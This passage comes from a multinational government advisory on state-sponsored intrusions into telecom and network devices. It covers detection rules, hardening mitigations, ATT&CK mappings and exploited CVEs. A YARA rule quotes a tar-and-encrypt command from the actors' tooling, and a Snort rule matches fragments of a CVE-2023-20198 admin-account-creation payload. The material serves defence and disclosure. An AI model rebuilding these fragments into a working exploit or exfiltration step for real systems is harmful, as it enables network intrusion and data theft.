        $set_2_3 = "LOG_FILE"
        $set_2_4 = "ENCRYPTION_PASSWORD"
        $set_2_5 = "FIREWALL_ADDRESS"
        $set_3_1 = "commands.log"
        $set_3_2 = "Executing command: {}"
        $set_3_3 = "Connecting to: {}"
        $set_3_4 = "Network sniffer script."
        $set_3_5 = "tar -czvf - {0} | openssl des3 -salt -k password -out
{0}.tar.gz"
        $set_required = { 00 70 61 72 61 6D 69 6B 6F }

    condition:
        $set_required and 4 of ($set_1_*) and 4 of ($set_2_*)
        and 4 of ($set_3_*)
}
```

Table 7: sft SFTP client

File Name	sft
SHA 256 Hash	a1abc3d11c16ae83b9a7cf62ebe6d144dfc5e19b579a99bad062a9d31cf30bfe
File Type	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Q_mmdNzBVit4XSJyGrtd/ampmN-03i9bT1qzD9njH/MFeCrtuGl37O7UNKFQyk/sBN-cduKnfSAvXO7jzGG, with debug_info, not stripped

CVE 2023-20198 Snort rule

```
alert tcp any any -> any $HTTP_PORTS (msg:"Potential CVE-2023-20198 exploit
attempt - HTTP Request to Add Privilege 15 User Detected"; content:"POST";
http_method; pcre:"/(webui_wsma|%2577ebui_wsma|%2577eb%2575i_%2577sma)/i";
http_uri; content:"<request xmlns=\"urn:cisco:wsma-config\"
correlator=\"execl\">"; http_client_body; content:"<configApply
details=\"all\">"; http_client_body; content:"<config-data>";
http_client_body; content:"<cli-config-data-block>"; http_client_body;
content:"username"; http_client_body; content:"privilege 15";
http_client_body; content:"secret"; http_client_body; sid:1000003; rev:1;)
```

Mitigations

These APT actors are having considerable success using publicly known CVEs to gain access to networks, so organizations are strongly encouraged to prioritize patching in a way that is proportionate to this threat, such as by sequencing patches to address the

highest risks first. See CISA's Known Exploited Vulnerabilities Catalog for further information. Specifically, organizations should ensure edge devices are not vulnerable to known exploited CVEs.

Note: This advisory uses MITRE D3FEND™, version 1.2.0, cybersecurity countermeasures. See the **Appendix C: MITRE D3FEND Countermeasures** section of this advisory for a table of the mitigations mapped to MITRE D3FEND countermeasures.

General recommendations

- Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for the activities listed in this advisory [D3-PM]. In particular, check for:
    - Unexpected GRE or other tunneling protocols, especially with foreign infrastructure [D3-NTCD].
    - Unexpected external IPs set as a TACACS+ or RADIUS server, or other AAA service configuration modifications.
    - Unexpected external IPs in ACLs.
    - Unexpected packet capture or network traffic mirroring settings.
    - Unexpected virtual containers running on network devices, or, where virtual containers are expected, unexpected commands within the containers.
- Employ a robust change management process that includes periodic auditing of device configurations [D3-PM].
    - Ensure all networking configurations are stored, tracked, and regularly audited via a change management process. A change management process audits approved configurations against what is currently running in an organization's infrastructure.
    - Review firewall rule creation and modification dates, cross referencing against change management approvals, to detect unauthorized rules or rule changes.
    - Create alarms or alerts for unusual router administration access, commands, or other activity.
- Attempt to identify the full scope of a suspected compromise before mitigating. While it is important to contain the intrusion and prevent further malicious activity, if the full scope is not identified and mitigated fully, the actors may retain access and cause

further malicious activity. Threat hunting and incident response efforts should be balanced against the total potential malicious activity with the goals of full eviction and minimizing damage.

    - An established compromise by these APT actors will likely include recurring, large-scale exfiltration from the compromised network. In at least one instance, the APT actors utilized GRE and MPLS tunnels to move data back to China.

- Disable outbound connections from management interfaces to limit possible lateral movement activity between network devices [D3-OTF].
- Disable all unused ports and protocols (both traffic and management protocols) [D3-ACH]. Only use encrypted and authenticated management protocols (e.g., SSH, SFTP/SCP, HTTPS) and disable all others, especially unencrypted protocols (e.g., Telnet, FTP, HTTP).
- Change all default administrative credentials, especially for network appliances and other network devices [D3-CFP].
- Require public-key authentication for administrative roles. Disable password authentication where operationally feasible. Minimize authentication attempts and lockout windows to slow brute force and sprayed attempts [D3-CH].
- Use the vendor recommended version of the network device operating system and keep it updated with all patches. Upgrade unsupported network devices to ones that are supported by the vendor with security updates [D3-SU].

Hardening management protocols and services

- Implement management-plane isolation and control-plane policing (CoPP) [D3-NI].
    - Place all device management services (SSH, HTTPS, SNMP, TACACS+/RADIUS, SCP/SFTP) strictly in a dedicated out-of-band management network or a management VRF.
    - Ensure this management VRF has no route leakage to customers or peering VRFs and cannot initiate or receive sessions from data-plane or peering address space [D3-ITF].
    - Block all egress from the management VRF except to explicitly authorized AAA/syslog/NetFlow/IPFIX/telemetry collectors to prevent actor use of management interfaces as lateral movement conduits or exfiltration paths.
    - Apply explicit management-plane ACLs at the control plane (e.g., CoPP/CPPr) to allowlist (i.e., default-deny) and rate-limit management

protocols. Allow only approved management station IPs/subnets and jump servers.

- Apply these restrictions to all SNMP, TACACS+/RADIUS (TCP/UDP 49/1812/1813), HTTPS (TCP/443 and any configured non-default port), SSH (TCP/22 and any configured non-default port), and SFTP/SCP.
- For devices that do not support ACLs, place on a separate management Virtual Local Area Network (VLAN); an ACL can be applied to this management VLAN from an upstream device, such as a router or Layer 3 switch.

- Use SSHv2 only and disable Telnet. Audit and restrict SSH on non-default ports (e.g., 22x22 and xxx22 patterns) commonly used by the APT actors.
- If a web interface is operationally required, bind it only to the management VRF/interface. Use HTTPS only and disable unencrypted HTTP. Require AAA for web interface access. Monitor and alert on non-default high HTTPS ports (e.g., 18xxx) observed in intrusions.
- Use SNMPv3 only, and disable SNMPv1 and SNMPv2. Configure Trusted Managers and ACLs to limit SNMP access to only trusted devices.
    - Change all weak and default SNMP community strings.
    - Restrict and monitor SNMP writes.
    - Enforce SNMPv3 with authPriv and apply VACM views that exclude configuration-altering MIB objects from write access. Only grant read access for required OIDs; reserve write access for tightly scoped automation accounts from approved managers.
- Continuously monitor SNMP SET operations and alert on changes to AAA servers, HTTP/HTTPS enablement or port changes, tunnel interfaces, SPAN/ERSPAN sessions, and routing and ACL objects. Actor tradecraft includes issuing SNMP SETs to make covert configuration changes at scale.
- Configure only strong cryptographic cipher suites for all management protocols (e.g., SSH, SFTP, HTTPS) and reject all weak ones.
- Enforce per-protocol rate limits (particularly for SSH, HTTPS, SNMP, TACACS+/RADIUS) to blunt credential-guessing and slow “low-and-slow" abuse of built-in functions (e.g., Embedded Packet Capture, tunnel setup) without denying legitimate admin access.
- Eliminate unintended IPv6 management exposure.

- If IPv6 is enabled, apply equivalent controls for IPv6 as for IPv4.
- Enforce management-plane ACLs and CoPP for IPv6. Bind management services only to the management VRF/interface in IPv6.
- Audit for IPv6-reachable management services and tunnels, as the APT actors' infrastructure includes IPv6 addresses.

Implementing robust logging

- Ensure logging is enabled and forwarded to a centralized server. Set the trap and buffer logging levels on each device to at least syslog level "informational" (code 6) to collect all necessary information.
- Ensure all logs sent to a centralized logging server are transmitted via a secure, authenticated, and encrypted channel (such as IPsec, TLS, or SSH tunnels). The central server should maintain immutable logs with retention periods sufficient to support cybersecurity incident response investigations and comply with applicable retention policies.
- Enable AAA command accounting for privileged commands to record any attempts to invoke those commands.

Routing best practices

- Utilize routing authentication mechanisms, when possible.
- Protect peering and edge routing paths often abused for covert redirection.
    - Continuously validate static routes, policy-based routing (PBR), and VRF-leak policies at peering edges. Alert on additions that steer traffic toward non-standard GRE/IPsec endpoints or unexpected next hops.
- Enforce maximum-prefix limits, strict prefix/AS-path filtering, and "only-expected" communities on all external BGP (eBGP) sessions. Deny default and overly broad routes.
- Enable TTL security (GTSM) or equivalent for eBGP to reduce off-path attack surface.
- Require session protection (TCP-AO where supported, otherwise MD5) and monitor for BGP session resets and parameter changes from unexpected management origins.

Virtual Private Network (VPN) best practices

- Delete default VPN Internet Key Exchange (IKE) policies and associated components.

- Create IKE policies consistent with applicable requirements and guidance on cryptographic algorithm use. For U.S. National Security Systems, follow Committee on National Security Systems Policy (CNSSP) 15 and other applicable policies:
    - Diffie-Hellman Group: 16 with 4096 bit Modular Exponential (MODP)
    - Diffie-Hellman Group: 20 with 384 bit Elliptic Curve Group (ECP)
    - Encryption: AES-256
    - Hashing: SHA-384

Cisco-specific recommendations

- Disable the Cisco Smart Install feature.
- Store credentials using strong cryptography.
    - Protect local credentials on Cisco networking devices using Type 8 (PBKDF2-SHA-256) where supported. Do not use Type 7 and transition from Type 5 (MD5) when possible.
    - Use Type 6 (AES) key encryption to protect stored secrets (e.g., TACACS+/RADIUS shared secrets or IKE PSKs).
- Disable outbound connections from the VTYs (e.g., `transport output none`). This prevents initiating SSH, Telnet, or other client sessions from the device via VTY, reducing its utility as a jump host. Monitor for any changes to this setting.
- Audit for unexpected enablement of IOS XR host SSH (`sshd_operns`) on TCP/57722. This is disabled by default, but has been observed being enabled by actors for persistence.
- When not required, disable the web configuration interface on applicable Cisco networking devices by running `no ip http server` and `no ip http secure-server`.
    - If management via a web interface is required, ensure to enable only the HTTPS management interface by running the command `ip http secure-server` and keep `no ip http server` configured to prevent unencrypted access via HTTP.
- Ensure a final `deny any any log` line is added to all configured ACLs. This ensures that the denied connections are logged so they could be reviewed at a later date.

Mitigating Guest Shell abuse

- Disable Guest Shell where not operationally required.

  - For IOS XE, run `guestshell disable` to stop the container. Where supported, disable the IOx subsystem with `no iox` to prevent container hosting entirely. Confirm with `show guestshell / show iox`.
  - For NX-OS, run `guestshell disable` to stop the container. Use `guestshell destroy` to uninstall it and return resources to the system. Confirm with `show guestshell`.
- Where Guest Shell is disabled, restrict (re)enabling Guest Shell.
  - Enforce AAA command authorization (TACACS+/RADIUS) so only approved roles can run `guestshell enable`, `guestshell run bash` (IOS XE), `run guestshell` (NX-OS), `guestshell disable/destroy`, `chvrf`, `dohost`, or IOx-related commands.
- Where Guest Shell is used:
  - Forward container logs (e.g., journald/systemd inside Guest Shell) to your SIEM. Device syslog does not capture process activity inside the container by default.
  - Configure the VRF used by Guest Shell (management VRF on IOS XE; default VRF on NX-OS unless `chvrf` is used). Restrict egress to only required destinations (e.g., SIEM/AAA/telemetry collectors) with ACLs.
  - Perform periodic inventories and integrity checks of device storage (e.g., `bootflash:`) to detect unexpected files created from the container.
  - Create alerts for `guestshell disable` / `guestshell destroy` and unexpected `chvrf` / `dohost` usage. Consider Cisco Embedded Event Manager (EEM) policies that snapshot state (running processes, container filesystem, storage listings) when these events occur.

Additional Cisco resources:

- Cisco Software Checker: Resource to find if any known vulnerabilities affect a version of IOS that may be currently in use.
- Cisco IOS Hardening Guide: Resource for IOS devices.
- Cisco IOS XE Hardening Guide: Resource for IOS XE devices.
- Cisco Forensic Guides: Resources to verify the integrity of affected devices.
- Guide to Securing NX-OS Software Devices: Resource if using applicable devices.

Resources

Additional information can be found in the following publicly available guidance.

United States resources

- (NSA, CISA, FBI) PRC State-Sponsored Cyber Actors Exploit Network Providers and Devices (**Note**: The Telecommunications and Network Service Provider Targeting section begins on page 4. Those TTPs, router commands, and mitigations are relevant for the activity listed in this advisory.)
- (CISA, NSA, FBI) Enhanced Visibility and Hardening Guidance for Communications Infrastructure
- (NSA) Cisco Password Types: Best Practices
- (NSA) Cisco Smart Install Protocol Misuse
- (NSA) Performing Out-of-Band Network Management
- (NSA) Network Infrastructure Security Guide
- (CISA) Mobile Communications Best Practice Guidance

United Kingdom resources

- (Legislation) Telecommunications Security Act (2021)
- (Technical Guidance) Telecommunications Security Act (2021) Code of Practice
- (NCSC Guidance) Cyber Assessment Framework
- (NCSC Guidance) Guidance on using IPsec to protect data
- (NCSC Guidance) Principles for secure privileged access workstations (PAWS)
- (Ofcom Guidance) Telecoms industry guidance

International resources

- (Technical Specification) ETSI Privileged Access Workstations: Part 1: Physical [TS 103 994-1]
- (Technical Specification) ETSI Privileged Access Workstations: Part 2: Connectivity [TS 103 994-2]

Acknowledgements

The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Cisco Security & Trust, Cisco Talos, CrowdStrike, Google Mandiant, Google Threat Intelligence, GreyNoise, Microsoft, PwC Threat Intelligence, and additional industry partners for their contribution to this advisory.

Version history

27 August 2025, v1.0: Initial publication

3 September 2025, v1.1: Japan NCO name correction, added introduction in Technical details, update in Initial access to clarify example CVEs' ordering, one IP correction and two removals.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring agencies' cybersecurity missions, including their responsibilities to identify and disseminate threats and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact information

The following contacts are non-exhaustive, and organizations should follow all applicable reporting requirements for a given incident or other event.

United States organizations

- **National Security Agency (NSA)**
  Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
  Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
  Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
- **Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)**
  U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency's Incident Reporting System, its 24/7 Operations Center (contact@mail.cisa.dhs.gov, 888-282-0870, or reporting online at cisa.gov/report), or your local FBI field office.
  Methods for initial access are a critical information gap for parties working to understand the scope, scale, and impact of these APT actors. When available, please include the following information regarding the incident:
    - Type of activity and types of equipment affected by or used in the activity;
    - APT actors' tactics, techniques, and procedures (TTPs) used to conduct initial access and/or lateral movement;
    - Exfiltration infrastructure and associated techniques (Layer 2/Layer 3);

- Passwords and associated techniques used to encrypt exfiltrated data;
- Likely or confirmed compromised routing equipment connected to or used by government networks;
- Insights into how the compromised devices are tasked (i.e., how is traffic of interest selected for collection/redirection);
- Signs of compromise or persistence beyond the specific network devices themselves (e.g., additional targets, such as network operations staff, IT/corporate email, etc.).
- Date, time, and location of the incident;
- Number of people affected;
- Name of the submitting company or organization; and
- Designated point of contact.

- **Department of Defense Cyber Crime Center (DC3)**
  Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
  Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

- Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

- Report incidents by emailing CCCS at contact@cyber.gc.ca.
- Canadian Security Intelligence Service (CSIS) Media Inquiries / Press Desk: media-medias@smtp.gc.ca

New Zealand organizations

- New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz.

United Kingdom organizations

- **UK National Cyber Security Centre (NCSC)**
  The NCSC—a part of intelligence, security, and cyber agency GCHQ—is the UK's technical authority on cyber security. UK organizations should report significant cyber security incidents via https://report.ncsc.gov.uk/ (monitored 24/7).
- **Ofcom**
  Ofcom is the UK's communications regulator and is responsible for enforcing the telecoms security provisions in the Communications Act (2003) and the Telecommunications Security Act (2021). Guidance and contact information on standards, specifications, and other requirements for the UK telecoms industry can be found at https://www.ofcom.org.uk.
  For general inquiries: networksecurityenquiries@ofcom.org.uk
  For incident reports: incident@ofcom.org.uk

Czech Republic organizations

- National Cyber and Information Security Agency (NÚKIB): cert.incident@nukib.gov.cz.

Finnish organizations

- Finnish Security and Intelligence Service (SUPO): https://supo.fi/en/contact

Germany organizations

- Bundesnachrichtendienst (BND): Media Relations / Press Desk: +49 30 20 45 36 30, pressestelle@bnd.bund.de

- BfV Prevention/Economic Protection Unit: +49 30 18792-3322, wirtschaftsschutz@bfv.bund.de
- BSI Service-Center: +49 800 274 1000, service-center@bsi.bund.de

Italian organizations

- Italian External Intelligence and Security Agency (AISE): Visit https://www.sicurezzanazionale.gov.it/chi-siamo/organizzazione/aise.
- Italian Internal Intelligence and Security Agency (AISI): Visit https://www.sicurezzanazionale.gov.it/chi-siamo/organizzazione/aisi.

Japanese organizations

- National Cybersecurity Office (NCO): first-team@cyber.go.jp

Polish organizations

- Polish Foreign Intelligence Agency (AW): CTIteam@aw.gov.pl
- Polish Military Counterintelligence Service (SKW): cyber.int@skw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 8 through Table 20 for all the threat actor tactics and techniques referenced in this advisory.

Table 8: Reconnaissance

Technique Title	ID	Use
Active Scanning	T1595	Actively scan for open ports and services
Gather Victim Network Information: Network Topology	T1590.004	Leverage configuration files from exploited devices to gather the network topology information

Table 9: Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Servers	T1583.003	Leverage VPS as infrastructure
Compromise Infrastructure: Network Devices	T1584.008	Compromise intermediate routers
Obtain Capabilities: Exploits	T1588.005	Utilize publicly available code (siet.py) to exploit vulnerable devices
Obtain Capabilities: Tool	T1588.002	Utilize publicly available tooling (e.g., map.tcl, tclproxy.tcl, wodSSHServer)

Table 10: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Exploit publicly known CVEs
Trusted Relationship	T1199	Leverage trusted connections between providers to pivot between networks

Table 11: Execution

Technique Title	ID	Use
System Services	T1569	Executing commands via SNMP
Container Administration Command	T1609	Use Guest Shell to load open-source tools and as a jump point for reconnaissance and follow-on actions in the environment
Command and Scripting Interpreter: Python	T1059.006	Use Python script siet.py

Command and Scripting Interpreter: Network Device CLI	T1059.008	Use built-in CLI on network devices to execute native commands

Table 12: Persistence

Technique Title	ID	Use
Create Account: Local Account	T1136.001	Create new local users on network devices for persistence
Container Service	T1543.005	Leverage Linux-based Guest Shell containers, natively supported in a variety of Cisco OS software
Account Manipulation: SSH Authorized Keys	T1098.004	Regain entry into environments via SSH into network devices

Table 13: Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	Exploit CVE-2023-20273 to gain root-level user privileges

Table 14: Defense Evasion

Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscate paths with “double encoding”
Obfuscated Files or Information	T1027	Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses
Impair Defenses: Disable or Modify System Firewall	T1562.004	Modify ACLs, adding IP addresses to bypass security policies and permit traffic from a threat actor-controlled IP address
Deploy Container	T1610	Deploy virtual container (e.g., Guest Shell) on network infrastructure to persist and evade monitoring services
Indicator Removal	T1070	Delete and/or clear logs
Indicator Removal: Clear Persistence	T1070.009	Use Guest Shell destroy command to deactivate and uninstall Guest Shell container and return all resources to the system
Network Boundary Bridging	T1599	Abuse peering connections

Table 15: Credential Access

Technique Title	ID	Use
Network Sniffing	T1040	Passively collect packet capture (PCAP) from networks for configurations and credentials
Modify Authentication Process	T1556	Modify a router's TACACS+ server configuration to point to an APT actor-controlled IP address to capture authentication attempts or modify AAA configurations to use less secure authentication methods
OS Credential Dumping	T1003	Collect router configuration with weak Cisco Type 7 passwords
Brute Force: Password Cracking	T1110.002	Brute force weak hashed Cisco Type 5 password and passwords with weak encryption in obtained configuration files to enable privilege escalation

Table 16: Discovery

Technique Title	ID	Use
System Information Discovery	T1082	Leverage CLI on network devices to gather system information.
System Network Configuration Discovery	T1016	Enumerate interfaces/VRFs/routing/ACLs and related network settings from the device CLI/SNMP

Table 17: Lateral Movement

Technique Title	ID	Use
Remote Services	T1021	Enumerate and alter the SNMP configurations for other devices in the same community group
Remote Services: SSH	T1021.004	Enable SSH servers and open external-facing ports on network devices to maintain encrypted remote access

Table 18: Collection

Technique Title	ID	Use
Archive Collected Data	T1560	Compile configurations and packet captures
Data from Configuration Repository: SNMP (MIB Dump)	T1602.001	Target MIB to collect network information via SNMP

Data from Configuration Repository: Network Device Configuration Dump	T1602.002	Acquire credentials by collecting network device configurations
Data from Local System	T1005	Passively collect PCAP from specific ISP customer networks

Table 19: Command and Control

Technique Title	ID	Use
Proxy	T1090	Use VPS for C2
Proxy: Multi-hop Proxy	T1090.003	Leverage open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control and operator access
Application Layer Protocol	T1071	Open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS)
Non-Standard Port	T1571	Utilize non-standard ports to evade detection by security monitoring tools that focus on standard port activity
Protocol Tunneling	T1572	Create tunnels over protocols such as GRE, mGRE, or IPsec on network devices
Non-Application Layer Protocol	T1095	Use GRE/IPsec to carry C2 over non-application layer protocols

Table 20: Exfiltration

Technique Title	ID	Use
Exfiltration over Alternative Protocol	T1048.003	Use tunnels, such as IPsec and GRE, to conduct C2 and exfiltration activities

Appendix B: CVEs exploited

Table 21: Exploited CVE information

CVE	Vendor/Product	Details
CVE-2024-21887	Ivanti Connect Secure and Ivanti Policy	Command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
CVE-2024-3400	Palo Alto Networks PAN-OS GlobalProtect	Arbitrary file creation leading to OS command injection, allowing for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations
CVE-2023-20273	Cisco IOS XE	Web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root)
CVE-2023-20198	Cisco IOS XE	Authentication bypass vulnerability to create unauthorized administrative accounts
CVE-2018-0171	Cisco IOS and IOS XE	Smart Install remote code execution vulnerability

Appendix C: MITRE D3FEND Countermeasures

Table 22: MITRE D3FEND countermeasures

Countermeasure Title	ID	Details
Platform Monitoring	D3-PM	Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for changes to network tunnels, AAA configurations, ACLs, packet captures or network mirroring, and virtual containers
Network Traffic Community Deviation	D3-NTCD	Check for unexpected GRE or other tunneling protocols, unexpected TACACS+ or RADIUS servers, or other unusual traffic
Outbound Traffic Filtering	D3-OTF	Disable outbound connections from management interfaces
Application Configuration Hardening	D3-ACH	Disable all unused ports and protocols (both traffic and management protocols), disable Cisco smart install, disable Cisco Guest Shell, use only strong cryptographic algorithms
Change Default Password	D3-CFP	Change all default administrative credentials and SNMP community strings
Credential Hardening	D3-CH	Disable password authentication where possible, use strong PKI-based or multifactor authentication, use strong cryptographic password storage settings (i.e., Cisco Type 8), and use lockouts to slow brute force attempts
Software Update	D3-SU	Update software to patch known vulnerabilities and upgrade devices to supported versions
Network Isolation	D3-NI	Implement management-plane isolation and control-plane policing (CoPP) to keep all network management traffic separate from data plane traffic
Inbound Traffic Filtering	D3-ITF	Ensure management VRFs cannot receive traffic from the data plane